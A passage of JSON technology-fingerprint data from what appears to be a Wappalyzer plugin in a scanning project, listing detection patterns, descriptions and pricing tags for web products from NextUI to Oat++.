\"nextgen_lightbox_settings.static_path\": \"/wp-content/plugins/nextgen-gallery/\"\n    },\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/nextgen-gallery/js/\"\n    ],\n    \"website\": \"https://www.imagely.com/wordpress-gallery-plugin\"\n  },\n  \"NextUI\": {\n    \"cats\": [\n      66\n    ],\n    \"css\": [\n      \"--nextui-(?:colors-accents1|colors-text|space-0|fonts-sans|fonts-mono)\"\n    ],\n    \"description\": \"NextUI allows you to make beautiful, modern, and fast websites/applications regardless of your design experience, created with React.js and Stitches, based on React Aria and inspired by Vuesax.\",\n    \"dom\": [\n      \"link[href*='nextui.org'][rel='canonical']\"\n    ],\n    \"icon\": \"NextUI.svg\",\n    \"implies\": [\n      \"React\",\n      \"Stitches\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://nextui.org/\"\n  },\n  \"Nextcloud\": {\n    \"cats\": [\n      95,\n      19\n    ],\n    \"cookies\": {\n      \" __Host-nc_sameSiteCookielax\": \"\",\n      \"__Host-nc_sameSiteCookiestrict\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:nextcloud:nextcloud:*:*:*:*:*:*:*:*\",\n    \"description\": \"Nextcloud is a suite of client-server software for creating and using file hosting services.\",\n    \"icon\": \"Nextcloud.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"oc_config.version\": \"^([\\\\.\\\\d]+)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://nextcloud.com\"\n  },\n  \"Nextdoor Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Nextdoor Ads is an easy-to-use expansion of Nextdoor’s proprietary self-serve campaign management platform, designed to help small and medium-sized businesses (SMBs) advertise on Nextdoor.\",\n    \"icon\": \"Nextdoor Ads.png\",\n    \"scriptSrc\": [\n      \"ads\\\\.nextdoor\\\\.com/\"\n    ],\n    \"website\": \"https://help.nextdoor.com/s/article/About-Neighborhood-Ad-Center-NAC-Conversion-Pixel\"\n  },\n  \"Nextra\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Nextra is Next.js based static site generator.\",\n    \"dom\": [\n      \"div.nextra-container\",\n      \"div.nextra-nav-container\",\n      \"div.nextra-sidebar-container\"\n    ],\n    \"icon\": \"Nextra.svg\",\n    \"js\": {\n      \"__nextra_internal__\": \"\",\n      \"__nextra_pageContext__\": \"\"\n    },\n    \"oss\": true,\n    \"requires\": [\n      \"Next.js\"\n    ],\n    \"website\": \"https://nextra.site/\"\n  },\n  \"Nextsale\": {\n    \"cats\": [\n      5,\n      32\n    ],\n    \"description\": \"Nextsale is a conversion optimisation platform that provides social proof and urgency tools for ecommerce websites.\",\n    \"icon\": \"Nextsale.svg\",\n    \"js\": {\n      \"NextsaleObject\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:api|sdk)\\\\.nextsale\\\\.io/\"\n    ],\n    \"website\": \"https://nextsale.io\"\n  },\n  \"NexusPHP\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*\",\n    \"description\": \"NexusPHP is an open-sourced private tracker script written in PHP.\",\n    \"icon\": \"NexusPHP.png\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\",\n      \"Redis\"\n    ],\n    \"meta\": {\n      \"generator\": \"^NexusPHP$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://nexusphp.org\"\n  },\n  \"NexusPIPE\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"NexusPIPE is a ADC and DDoS mitigation Company.\",\n    \"headers\": {\n      \"Server\": \"^Nexuspipe.com\"\n    },\n    \"icon\": \"NexusPIPE.png\",\n    \"website\": \"https://nexuspipe.com\"\n  },\n  \"Nexxt\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Nexxt is a job finder-based system designed to help users search for employment opportunities by matching skills and preferences with job listings across various industries.\",\n    \"icon\": \"Nexxt.svg\",\n    \"js\": {\n      \"_bydWto.host\": \"\\\\.nexxt\\\\.com\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.nexxt\\\\.com/\"\n    ],\n    \"website\": \"https://www.nexxt.com\"\n  },\n  \"Nginx\": {\n    \"cats\": [\n      22,\n      64\n    ],\n    \"cpe\": \"cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*\",\n    \"description\": \"Nginx is a web server that can also be used as a reverse proxy, load balancer, mail proxy and HTTP cache.\",\n    \"headers\": {\n      \"Server\": \"nginx(?:/([\\\\d.]+))?\\\\;version:\\\\1\",\n      \"X-Fastcgi-Cache\": \"\"\n    },\n    \"icon\": \"Nginx.svg\",\n    \"website\": \"https://nginx.org/en\"\n  },\n  \"Niagahoster\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Niagahoster is a web hosting service for small and medium enterprises. It provides shared hosting, WordPress hosting, Virtual Private Server (VPS), and more.\",\n    \"headers\": {\n      \"x-powered-by\": \"Niagahoster\"\n    },\n    \"icon\": \"Niagahoster.svg\",\n    \"implies\": [\n      \"Niagahoster\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://niagahoster.co.id\"\n  },\n  \"Nicepage\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Nicepage is a free website building tool that requires no coding skills and integrates seamlessly with all leading CMS systems.\",\n    \"dom\": [\n      \"link[href*='nicepage.css']\"\n    ],\n    \"icon\": \"Nicepage.png\",\n    \"js\": {\n      \"_npAccordionInit\": \"\",\n      \"_npDialogsInit\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"Nicepage\\\\s([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nicepage.com\"\n  },\n  \"Nidux\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Nidux is an ecommerce platform catering to small and medium businesses.\",\n    \"icon\": \"Nidux.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.nidux\\\\.net/\"\n    ],\n    \"website\": \"https://nidux.com\"\n  },\n  \"Nift\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Nift is a marketing program for pools of local businesses. Businesses give Nift gift cards to thank and reward their customers for taking actions, like signing up for a newsletter, referring a friend, or making a purchase.\",\n    \"icon\": \"Nift.png\",\n    \"js\": {\n      \"NiftAnalytics\": \"\",\n      \"NiftJS\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gonift.com\"\n  },\n  \"Ninja Forms\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"description\": \"Ninja Forms is the WordPress form builder.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/ninja-forms/']\"\n    ],\n    \"icon\": \"Ninja Forms.svg\",\n    \"js\": {\n      \"nfForms\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/ninja-forms/.+\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://ninjaforms.com\"\n  },\n  \"NitroPack\": {\n    \"cats\": [\n      23,\n      92\n    ],\n    \"description\": \"NitroPack creates optimised HTML cache for fast page loading experience.\",\n    \"icon\": \"NitroPack.svg\",\n    \"meta\": {\n      \"generator\": \"NitroPack\"\n    },\n    \"website\": \"https://nitropack.io/\"\n  },\n  \"NoFraud\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"NoFraud is a fraud prevention solution for ecommerce businesses.\",\n    \"icon\": \"NoFraud.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"services\\\\.nofraud\\\\.com/\"\n    ],\n    \"website\": \"https://www.nofraud.com\"\n  },\n  \"Nocodelytics\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Nocodelytics is a tool for tracking clicks, searches, CMS items, and more on your Webflow site. It allows you to monitor user activity and important metrics without any coding required.\",\n    \"icon\": \"Nocodelytics.svg\",\n    \"js\": {\n      \"__NOCODELYTICS_SITE_ID__\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Webflow\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tracker\\\\.nocodelytics\\\\.com/\"\n    ],\n    \"website\": \"https://www.nocodelytics.com\"\n  },\n  \"Noddus\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Noddus offers brands and agencies access to an advanced proprietary content marketing platform automating content production, distribution and analytics.\",\n    \"icon\": \"Noddus.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"noddus\\\\.com/\"\n    ],\n    \"website\": \"https://www.enterprise.noddus.com\"\n  },\n  \"Node.js\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:nodejs:node.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"Node.js is an open-source, cross-platform, JavaScript runtime environment that executes JavaScript code outside a web browser.\",\n    \"dom\": [\n      \"div.appVersion i.icon-nodejs\"\n    ],\n    \"icon\": \"Node.js.svg\",\n    \"website\": \"https://nodejs.org\"\n  },\n  \"NodeBB\": {\n    \"cats\": [\n      2\n    ],\n    \"cpe\": \"cpe:2.3:a:nodebb:nodebb:*:*:*:*:*:*:*:*\",\n    \"description\": \"NodeBB forum software is powered by Node.js and built on either a Redis or MongoDB database.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^NodeBB$\"\n    },\n    \"icon\": \"NodeBB.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/nodebb\\\\.min\\\\.js\\\\?\"\n    ],\n    \"website\": \"https://nodebb.org\"\n  },\n  \"NodePing\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"NodePing is a tool in the Website Monitoring category of a tech stack. NodePing is an open source tool with GitHub stars and GitHub forks.\",\n    \"dom\": [\n      \"footer#poweredbynodeping\"\n    ],\n    \"icon\": \"NodePing.svg\",\n    \"oss\": true,\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nodeping.com\"\n  },\n  \"Nogin\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Nogin is a platform operating as Commerce-as-a-Service (CaaS), offering cloud-based ecommerce functionalities and infrastructure for seamless integration and development of ecommerce solutions.\",\n    \"icon\": \"Nogin.png\",\n    \"js\": {\n      \"nogin.wishlist\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"scriptSrc\": [\n      \"\\\\.nogin\\\\.com/\"\n    ],\n    \"website\": \"https://www.nogin.com\"\n  },\n  \"Noibu\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Noibu helps ecommerce websites detect revenue-impacting errors on their websites and provides them with the information needed to resolve them.\",\n    \"icon\": \"noibu.svg\",\n    \"js\": {\n      \"NOIBUJS_CONFIG\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://noibu.com\"\n  },\n  \"Nootiz\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Nootiz is a visual feedback tool designed to streamline the process of collecting and managing user feedback on websites.\",\n    \"icon\": \"Nootiz.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"load\\\\.nootiz\\\\.com/\"\n    ],\n    \"website\": \"https://www.nootiz.com\"\n  },\n  \"Norby\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Norby is an AI-powered chat solution catering to ecommerce, healthcare, crypto, and fintech industries.\",\n    \"icon\": \"NorbyAI.svg\",\n    \"js\": {\n      \"norbyChat\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chat\\\\.norby\\\\.io/\"\n    ],\n    \"website\": \"https://norby.io\"\n  },\n  \"Norce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Norce is a headless SaaS platform for digital commerce, designed to support companies with advanced needs.\",\n    \"dom\": [\n      \"link[href*='.jetshop.io']\"\n    ],\n    \"html\": [\n      \"<(?:div|aside) id=\\\"jetshop-branding\\\">\"\n    ],\n    \"icon\": \"Norce.svg\",\n    \"js\": {\n      \"JetshopData\": \"\"\n    },\n    \"website\": \"https://www.norce.io/\"\n  },\n  \"Normi\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Normi is a Compliance Management Platform designed to ensure adherence to Quebec's C-25 regulation.\",\n    \"icon\": \"Normi.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.normi\\\\.ca/\"\n    ],\n    \"website\": \"https://normi.ca\"\n  },\n  \"Northbeam\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Northbeam is a platform for marketing measurement that uses machine learning for DTC and ecommerce brands.\",\n    \"dom\": [\n      \"script[data-src*='.northbeam.io/']\"\n    ],\n    \"icon\": \"Northbeam.svg\",\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.northbeam\\\\.io/\"\n    ],\n    \"website\": \"https://www.northbeam.io\"\n  },\n  \"Norton Shopping Guarantee\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Norton Shopping Guarantee offering a third-party shopping guarantee to customers provides added protection and validation that you are safe to buy from.\",\n    \"icon\": \"Norton Shopping Guarantee.svg\",\n    \"implies\": [\n      \"Cart Functionality\"\n    ],\n    \"js\": {\n      \"DO_NORTON_SHOPPING\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"nsg\\\\.symantec\\\\.com/\"\n    ],\n    \"website\": \"https://norton.buysafe.com\"\n  },\n  \"Nosto\": {\n    \"cats\": [\n      76,\n      74\n    ],\n    \"description\": \"Nosto is an ecommerce platform providing product recommendations based on individual behavioral data.\",\n    \"icon\": \"Nosto.svg\",\n    \"js\": {\n      \"nosto\": \"\\\\;confidence:50\",\n      \"nostojs\": \"\\\\;confidence:50\"\n    },\n    \"meta\": {\n      \"nosto-version\": \"([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"connect\\\\.nosto\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.nosto.com\"\n  },\n  \"Nosto Visual UGC\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Nosto Visual UGC (Earlier known as Stackla) is a cloud-based content marketing platform that helps discover, curate, display and engage with user-generated content across all digital marketing platforms.\",\n    \"icon\": \"Nosto.svg\",\n    \"js\": {\n      \"Stackla\": \"\",\n      \"stacklaWidgetJsonp\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.stackla\\\\.com/\"\n    ],\n    \"website\": \"https://www.nosto.com/products/visual-ugc/\"\n  },\n  \"Notie\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Notie is a notification, input, and selection suite for javascript, with no dependencies.\",\n    \"js\": {\n      \"notie\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://github.com/jaredreich/notie\"\n  },\n  \"Notifly\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Notifly is a marketing automation tool designed to streamline the process of running multi-channel campaigns.\",\n    \"icon\": \"Notifly.svg\",\n    \"js\": {\n      \"NotiflyWebMessageRenderer\": \"\",\n      \"__notiflyCafe24Config\": \"\",\n      \"notifly\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://notifly.tech\"\n  },\n  \"Notion\": {\n    \"cats\": [\n      51\n    ],\n    \"cpe\": \"cpe:2.3:a:notion:notion:*:*:*:*:*:*:*:*\",\n    \"description\": \"Notion is a collaboration platform with modified Markdown support that integrates kanban boards, tasks, wikis, and database.\",\n    \"dom\": [\n      \"html.notion-html\"\n    ],\n    \"icon\": \"Notion.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://notion.so\"\n  },\n  \"Notix\": {\n    \"cats\": [\n      77\n    ],\n    \"description\": \"Notix is a web push notifications service for audience re-engagement.\",\n    \"icon\": \"Notix.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"notix\\\\.io/ent\"\n    ],\n    \"website\": \"https://notix.co\"\n  },\n  \"Novel\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Novel is a platform that allows users to drop NFTs and set up token-gated products, content, and discounts within minutes.\",\n    \"icon\": \"Novel.svg\",\n    \"js\": {\n      \"__NOVEL_STOREFRONT_SCRIPT_HAS_RUN__\": \"\",\n      \"__novel_cache__\": \"\",\n      \"fetchNovelSession\": \"\",\n      \"fetchNovelStorefrontData\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.novel.com\"\n  },\n  \"Nrdevo\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Nrdevo is a subscription-based software that allows anyone to set up a website, online store, and more.\",\n    \"icon\": \"Nrdevo.svg\",\n    \"meta\": {\n      \"generator\": \"^Nrdevo(?: ([0-9.]+))?$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://nrdevo.com/\"\n  },\n  \"Nucleus CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Nucleus CMS is a free, open-source web application framework and content management system.\",\n    \"icon\": \"NucleusCMS.svg\",\n    \"meta\": {\n      \"generator\": \"^Nucleus(?: CMS)?\\\\s+v?(\\\\d+\\\\.\\\\d+(?:\\\\.\\\\d+)?)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"nucleuscms\\\\.er\\\\.cz/\"\n    ],\n    \"website\": \"https://www.nucleus-cms.com\"\n  },\n  \"Nudgify\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Nudgify is a Social Proof & Fomo App tool that integrates seamlessly with ecommerce platform such as Shopify, WooCommerce and Magento.\",\n    \"icon\": \"Nudgify.svg\",\n    \"js\": {\n      \"nudgify.cart\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.nudgify\\\\.com/\",\n      \"cdn\\\\.convertize\\\\.com/nudgify-shopify\\\\.js\"\n    ],\n    \"website\": \"https://www.nudgify.com\"\n  },\n  \"Nukeviet CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"NukeViet CMS is a Vietnamese content management system.\",\n    \"icon\": \"Nukeviet CMS.png\",\n    \"js\": {\n      \"nv_DigitalClock\": \"\\\\;confidence:50\",\n      \"nv_is_change_act_confirm\": \"\\\\;confidence:50\"\n    },\n    \"meta\": {\n      \"generator\": \"NukeViet v([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://nukeviet.vn/en/\"\n  },\n  \"Nuqlium\": {\n    \"cats\": [\n      76,\n      29\n    ],\n    \"description\": \"Nuqlium is an integrated cloud-based online merchandising platform.\",\n    \"icon\": \"Nuqlium.png\",\n    \"js\": {\n      \"nuqliumObject\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.nuqlium\\\\.com/api\"\n    ],\n    \"website\": \"https://www.nuqlium.com\"\n  },\n  \"Nurture Boss\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Nurture Boss is an AI platform for engaging with prospects and residents, automating the leasing process from lead to renewal.\",\n    \"icon\": \"NurtureBoss.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.nurtureboss\\\\.io/\"\n    ],\n    \"website\": \"https://nurtureboss.io\"\n  },\n  \"Nuvemshop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Nuvemshop is a website builder with customizable layouts, product, shipping and payment management, marketing tools and a mobile app.\",\n    \"dom\": [\n      \"a[href*='www.nuvemshop.com.br'][title*='Nuvemshop'][target='_blank']\"\n    ],\n    \"icon\": \"Nuvemshop.svg\",\n    \"js\": {\n      \"LS.store.url\": \"^.+nuvem.com.br$\",\n      \"nuvemShopIdProduct\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.nuvemshop.com.br\"\n  },\n  \"Nuxt.js\": {\n    \"cats\": [\n      12,\n      18,\n      57\n    ],\n    \"description\": \"Nuxt is a Vue framework for developing modern web applications.\",\n    \"dom\": [\n      \"div[id^='__nuxt']\"\n    ],\n    \"html\": [\n      \"<div [^>]*id=\\\"__nuxt\\\"\",\n      \"<script [^>]*>window\\\\.__NUXT__\"\n    ],\n    \"icon\": \"Nuxt.js.svg\",\n    \"implies\": [\n      \"Vue.js\",\n      \"Node.js\"\n    ],\n    \"js\": {\n      \"$nuxt\": \"\",\n      \"__NUXT__\": \"\",\n      \"useNuxtApp\": \"\"\n    },\n    \"scriptSrc\": [\n      \"/_nuxt/\"\n    ],\n    \"website\": \"https://nuxt.com\"\n  },\n  \"nghttpx - HTTP/2 proxy\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"nghttpx nghttp2/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://nghttp2.org\"\n  },\n  \"nopCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"Nop.customer\": \"\"\n    },\n    \"cpe\": \"cpe:2.3:a:nopcommerce:nopcommerce:*:*:*:*:*:*:*:*\",\n    \"description\": \"nopCommerce is an open-source ecommerce solution based on Microsoft's ASP​.NET Core framework and MS SQL Server 2012 (or higher) backend database.\",\n    \"html\": [\n      \"(?:<!--Powered by nopCommerce|Powered by: <a[^>]+nopcommerce)\"\n    ],\n    \"icon\": \"nopCommerce.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"^nopCommerce$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.nopcommerce.com\"\n  },\n  \"nopStation\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"nopStation is a one stop ecommerce solution with custom integrations and custom built plugins based on custom tailored requirements on top of nopCommerce.\",\n    \"dom\": [\n      \"a[href*='.nop-station.com/']\"\n    ],\n    \"icon\": \"nopStation.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"requires\": [\n      \"nopCommerce\"\n    ],\n    \"website\": \"https://www.nop-station.com\"\n  },\n  \"novomind iSHOP\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"novomind iSHOP can be introduced rapidly, is highly scalable, has open APIs headless ecommerce and GDPR-compliant in the novomind Cloud.\",\n    \"icon\": \"novomind.svg\",\n    \"js\": {\n      \"_ishopevents\": \"\",\n      \"_ishopevents_url\": \"/ishop-api/events/\",\n      \"iShop.config.baseUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.novomind.com/en/shopsystem/novomind-ishop-software\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/o.json",
    "content": "{\n  \"OSI Tracker\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"OSI Tracker is an affiliate marketing and tracking software.\",\n    \"icon\": \"OSITracker.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.ositracker\\\\.com/\"\n    ],\n    \"website\": \"https://ositracker.com\"\n  },\n  \"OTYS\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"OTYS is a Dutch company that specialises in providing recruitment and staffing agencies with software solutions to manage their workflows, including applicant tracking systems, job board integrations, and candidate sourcing tools.\",\n    \"icon\": \"OTYS.svg\",\n    \"js\": {\n      \"OTYS.siteId\": \"\",\n      \"otysSelect\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"website\": \"https://www.otys.nl\"\n  },\n  \"OVHcloud\": {\n    \"cats\": [\n      62,\n      88\n    ],\n    \"description\": \"OVHcloud is a global, cloud provider delivering hosted private cloud, public cloud, and dedicated server solutions.\",\n    \"dns\": {\n      \"NS\": \"\\\\d+\\\\.ovh\\\\.net\",\n      \"SOA\": \"\\\\d+\\\\.ovh\\\\.net\"\n    },\n    \"headers\": {\n      \"x-iplb-request-id\": \"\"\n    },\n    \"icon\": \"OVHcloud.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"website\": \"https://www.ovhcloud.com\"\n  },\n  \"OWL Carousel\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"OWL Carousel is an enabled jQuery plugin that lets you create responsive carousel sliders.\",\n    \"html\": [\n      \"<link [^>]*href=\\\"[^\\\"]+owl\\\\.carousel(?:\\\\.min)?\\\\.css\"\n    ],\n    \"icon\": \"OWL Carousel.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"scriptSrc\": [\n      \"owl\\\\.carousel.*\\\\.js\"\n    ],\n    \"website\": \"https://owlcarousel2.github.io/OwlCarousel2/\"\n  },\n  \"OXID eShop\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"sid_key\": \"oxid\"\n    },\n    \"description\": \"OXID eShop is a free, open source ecommerce solution built using object oriented programming and PHP.\",\n    \"icon\": \"OXID eShop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"oxCookieNote\": \"\",\n      \"oxInputValidator\": \"\",\n      \"oxLoginBox\": \"\",\n      \"oxMiniBasket\": \"\",\n      \"oxModalPopup\": \"\",\n      \"oxTopMenu\": \"\"\n    },\n    \"website\": \"https://www.oxid-esales.com\"\n  },\n  \"OXID eShop Community Edition\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OXID eShop Community Edition is a free, open source ecommerce solution built using object oriented programming and PHP.\",\n    \"excludes\": [\n      \"OXID eShop\"\n    ],\n    \"html\": [\n      \"<!--[^-]*OXID eShop Community Edition, Version (\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"OXID eShop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.oxid-esales.com\"\n  },\n  \"OXID eShop Enterprise Edition\": {\n    \"cats\": [\n      6,\n      62\n    ],\n    \"description\": \"OXID eShop Enterprise Edition is a B2B or B2C ecommerce solution built using object oriented programming and PHP.\",\n    \"excludes\": [\n      \"OXID eShop\"\n    ],\n    \"html\": [\n      \"<!--[^-]*OXID eShop Enterprise Edition, Version (\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"OXID eShop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"website\": \"https://www.oxid-esales.com\"\n  },\n  \"OXID eShop Professional Edition\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"OXID eShop Professional Edition is an e-ommerce platform for both small start-up companies and experience online retailers with a wide range of functions, software maintenance and support.\",\n    \"excludes\": [\n      \"OXID eShop\"\n    ],\n    \"html\": [\n      \"<!--[^-]*OXID eShop Professional Edition, Version (\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"OXID eShop.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"pricing\": [\n      \"high\",\n      \"onetime\"\n    ],\n    \"website\": \"https://exchange.oxid-esales.com/OXID-Products/OXID-eShop/OXID-eShop-Professional-Edition-6-Professional-Edition-6-Stable-PE-6-0-x.html\"\n  },\n  \"Oat++\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Oat++ is an open source C++ Web Framework.\",\n    \"headers\": {\n      \"Server\": \"^oatpp/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Oat.svg\",\n    \"website\": 